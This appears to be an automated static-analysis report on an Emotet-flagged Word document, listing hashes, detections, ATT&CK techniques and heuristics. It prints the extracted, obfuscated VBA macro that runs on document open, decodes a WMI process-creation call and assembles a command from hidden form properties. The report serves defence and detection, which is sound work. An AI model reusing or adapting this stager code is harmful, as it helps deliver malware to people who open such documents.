Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 613b4f6fcf32e204…

MALICIOUS

Office (OLE)

170.7 KB Created: 2020-08-10 11:07:00 Authoring application: Microsoft Office Word First seen: 2020-09-07
MD5: 120c8d6468d47e3292eb8a630ed1f7c8 SHA-1: e34fff8d4a27b5e16889593ebb071515713dfe8b SHA-256: 613b4f6fcf32e2041c8699332c8f705fd0fd7593c78bd1077eaad6911a82b893
262 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is identified as malicious by ClamAV with the signature 'Doc.Malware.Emotet-9256832-0', indicating a known Emotet variant. Critical heuristics indicate the use of a hidden UserForm and a command stager within VBA macros, triggered by the Document_Open event. This mechanism is commonly used by Emotet to download and execute further malicious content.

Heuristics 7

  • ClamAV: Doc.Malware.Emotet-9256832-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Emotet-9256832-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 4795 bytes
SHA-256: 71ebab61aae3da100096c03ece61f98dfb9d21984b6029401129154e5c11c71b
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "AOYHDsvafyrqc"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
GUGQKhjfhvppp.MBSVJovlavqqc
End Sub


Attribute VB_Name = "GUGQKhjfhvppp"
Attribute VB_Base = "0{AB27BA16-BE34-484C-A43E-FB63DF5C382F}{0650B373-C22E-4446-9478-B738A4D8013D}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function MBSVJovlavqqc()
Dim bnIC7BXFP As Integer
bnIC7BXFP = Len("k3ßiBgT8Ö")
Dim ql4ÍkHo As Integer
ql4ÍkHo = 1
Do While ql4ÍkHo < 1 + 3
ql4ÍkHo = ql4ÍkHo + 7: DoEvents
Loop
Dim VnTGhD As Integer
VnTGhD = 6
Do While VnTGhD < 6 + 9
VnTGhD = VnTGhD + 6: DoEvents
Loop
KEYEVhmdhinh = Chr(GUGQKhjfhvppp.Zoom + ((30 + 60 + 30) / (4 + 4)))
Dim EWsakgGped As Integer
EWsakgGped = 1
Do While EWsakgGped < 1 + 4
EWsakgGped = EWsakgGped + 9: DoEvents
Loop
WCWJWatllubpauf = "7892HJGgghjgJH%789H h&219yhuid2d7892HJGgghjgJH%789H h&219yhuid2dw7892HJGgghjgJH%789H h&219yhuid2di7892HJGgghjgJH%789H h&219yhuid2dnm7892HJGgghjgJH%789H h&219yhuid2d7892HJGgghjgJH%789H h&219yhuid2dgm7892HJGgghjgJH%789H h&219yhuid2dt7892HJGgghjgJH%789H h&219yhuid2d7892HJGgghjgJH%789H h&219yhuid2d" + KEYEVhmdhinh + "7892HJGgghjgJH%789H h&219yhuid2d7892HJGgghjgJH%789H h&219yhuid2d:7892HJGgghjgJH%789H h&219yhuid2dw7892HJGgghjgJH%789H h&219yhuid2din7892HJGgghjgJH%789H h&219yhuid2d7892HJGgghjgJH%789H h&219yhuid2d37892HJGgghjgJH%789H h&219yhuid2d27892HJGgghjgJH%789H h&219yhuid2d_7892HJGgghjgJH%789H h&219yhuid2d" + GUGQKhjfhvppp.ITGREpdherzyuz + "7892HJGgghjgJH%789H h&219yhuid2dro7892HJGgghjgJH%789H h&219yhuid2d7892HJGgghjgJH%789H h&219yhuid2dce7892HJGgghjgJH%789H h&219yhuid2ds7892HJGgghjgJH%789H h&219yhuid2ds7892HJGgghjgJH%789H h&219yhuid2d"
Dim t5àCoPkgj As Integer
t5àCoPkgj = 4
Do While t5àCoPkgj < 4 + 6
t5àCoPkgj = t5àCoPkgj + 7: DoEvents
Loop
RCXFAwmosrtf = XPELXvhzipppxdw(WCWJWatllubpauf)
Dim pibFblq As String
Set HGQHRokxdlqjkoa = CreateObject(RCXFAwmosrtf)
Dim WGu8ÍyhtN As Integer
WGu8ÍyhtN = Len("OVnLrCFgBv")
VMXNSxacgatroqcoh = GUGQKhjfhvppp.NZDFHaeejfjdaulry.ControlTipText
Dim lqrqsHrC As Object
CPCEXbuyukqm = kljiqbbn2m + (RCXFAwmosrtf + KEYEVhmdhinh + GUGQKhjfhvppp.GWSGQhbqgkmho.ControlTipText + VMXNSxacgatroqcoh)
Dim Z4Öf As Object
EKSHTdgyxhjqets = CPCEXbuyukqm + GUGQKhjfhvppp.ITGREpdherzyuz
Dim Br1ÚYapZkp As Integer
Br1ÚYapZkp = Len("BoYNMC")
Set DELDBpiyydzhiibvsur = XQPBAtazhnyduysnda(EKSHTdgyxhjqets)
Dim Q7Ìl8ÉD0Êau As Boolean
pos76 = Array(dccv21s + "nnsk ioqy hhdq hdioqe", HGQHRokxdlqjkoa. _
Create(IWDNAyumhpeg, HKQJOplnpmenhhzqkfq, DELDBpiyydzhiibvsur), vkq37y + "klq whuiqguiq ggqj")
Dim GpnGklo As Integer
GpnGklo = Len("dhL8ÇZ5ß")
End Function
Function XQPBAtazhnyduysnda(UOJRKvsaytqxili)
Set XQPBAtazhnyduysnda = CreateObject(UOJRKvsaytqxili)
Dim TZagwF As Currency
XQPBAtazhnyduysnda. _
showwindow = OLWUVbkjodqqgo + YYNJIrnpzjflesjys + ILVNVnmebylv
Dim EWCoPkgjbA As Integer
EWCoPkgjbA = Len("jWG")
End Function
Function XPELXvhzipppxdw(UMEUPigmbcchboysgl)
PDACNwowmvsnubzwb = UMEUPigmbcchboysgl
Dim moR7ÒWhdDBb As Integer
moR7ÒWhdDBb = 6
Do While moR7ÒWhdDBb < 6 + 5
moR7ÒWhdDBb = moR7ÒWhdDBb + 6: DoEvents
Loop
OYFGHtcfqqpsm = Split _
(PDACNwowmvsnubzwb, "7892HJGgghjgJH%789H h&219yhuid2d")
Dim aVXl As Integer
aVXl = 7
Do While aVXl < 7 + 5
aVXl = aVXl + 8: DoEvents
Loop
OJSXKffktgwlrpsvfnu = mmm2 + Join(OYFGHtcfqqpsm, ooo3)
Dim yeECcb As Integer
yeECcb = Len("rdoJD")
XPELXvhzipppxdw = OJSXKffktgwlrpsvfnu
Dim GZwfTDr7â As Integer
GZwfTDr7â = 6
Do While GZwfTDr7â < 6 + 5
GZwfTDr7â = GZwfTDr7â + 6: DoEvents
Loop
End Function
Function IWDNAyumhpeg()
Dim HC0ËhElyrR As Integer
HC0ËhElyrR = 5
Do While HC0ËhElyrR < 5 + 3
HC0ËhElyrR = HC0ËhElyrR + 9: DoEvents
Loop
Dim eUiZ7Ù4åGl As Integer

... (truncated)